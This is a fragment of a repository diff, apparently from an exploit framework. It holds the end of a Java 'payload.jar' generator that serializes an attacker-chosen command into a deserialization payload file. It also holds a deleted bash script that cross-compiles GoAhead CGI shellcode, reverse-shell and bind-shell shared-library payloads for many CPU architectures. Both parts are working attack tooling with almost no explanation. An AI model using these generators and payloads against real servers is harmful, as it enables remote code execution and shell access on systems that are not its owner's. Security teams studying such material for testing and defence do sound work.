private static class Container implements Serializable {
private Object o;
private Container(Object o) {
this.o = o;
}
private Object writeReplace() throws ObjectStreamException {
return o;
}
}
static class DummyComperator implements Comparator, Serializable {
public int compare(Object arg0, Object arg1) {
// TODO Auto-generated method stub
return 0;
}
private Object writeReplace() throws ObjectStreamException {
return null;
}
}
public static void main(String args[]) throws Exception{
if(args.length != 2){
System.out.println("java -jar payload.jar outfile cmd");
System.exit(0);
}
String cmd = args[1];
FileOutputStream out = new FileOutputStream(args[0]);
Payload pwn = new Payload(cmd);
ObjectOutputStream oos = new ObjectOutputStream(out);
oos.writeObject(pwn);
oos.flush();
out.flush();
}
}
Binary file not shown.
Binary file not shown.
-48
View File
@@ -1,48 +0,0 @@
#!/bin/bash
build () {
CC=$1
TARGET_SUFFIX=$2
CFLAGS=$3
echo "[*] Building for ${TARGET_SUFFIX}..."
for type in {shellcode,system,reverse,bind}
do ${CC} ${CFLAGS} -Wall -fPIC -fno-stack-protector -Os goahead-cgi-${type}.c -s -shared -o goahead-cgi-${type}-${TARGET_SUFFIX}.so
done
}
rm -f *.o *.so *.gz
#
# Linux GLIBC
#
# x86
build "gcc" "linux-glibc-x86_64" "-m64 -D OLD_LIB_SET_2"
build "gcc" "linux-glibc-x86" "-m32 -D OLD_LIB_SET_1"
# ARM
build "arm-linux-gnueabi-gcc-5" "linux-glibc-armel" "-march=armv5 -mlittle-endian"
build "arm-linux-gnueabihf-gcc-5" "linux-glibc-armhf" "-march=armv7 -mlittle-endian"
build "aarch64-linux-gnu-gcc-4.9" "linux-glibc-aarch64" ""
# MIPS
build "mips-linux-gnu-gcc-5" "linux-glibc-mips" "-D OLD_LIB_SET_1"
build "mipsel-linux-gnu-gcc-5" "linux-glibc-mipsel" "-D OLD_LIB_SET_1"
build "mips64-linux-gnuabi64-gcc-5" "linux-glibc-mips64" "-D OLD_LIB_SET_1"
build "mips64el-linux-gnuabi64-gcc-5" "linux-glibc-mips64el" "-D OLD_LIB_SET_1"
# SPARC
build "sparc64-linux-gnu-gcc-5" "linux-glibc-sparc64" ""
build "sparc64-linux-gnu-gcc-5" "linux-glibc-sparc" "-m32 -D OLD_LIB_SET_1"
# PowerPC
build "powerpc-linux-gnu-gcc-5" "linux-glibc-powerpc" "-D OLD_LIB_SET_1"
build "powerpc64-linux-gnu-gcc-5" "linux-glibc-powerpc64" ""
build "powerpc64le-linux-gnu-gcc-4.9" "linux-glibc-powerpc64le" ""
# S390X
build "s390x-linux-gnu-gcc-5" "linux-glibc-s390x" ""
gzip -9 *.so
rm -f *.o *.so

Some files were not shown because too many files have changed in this diff Show More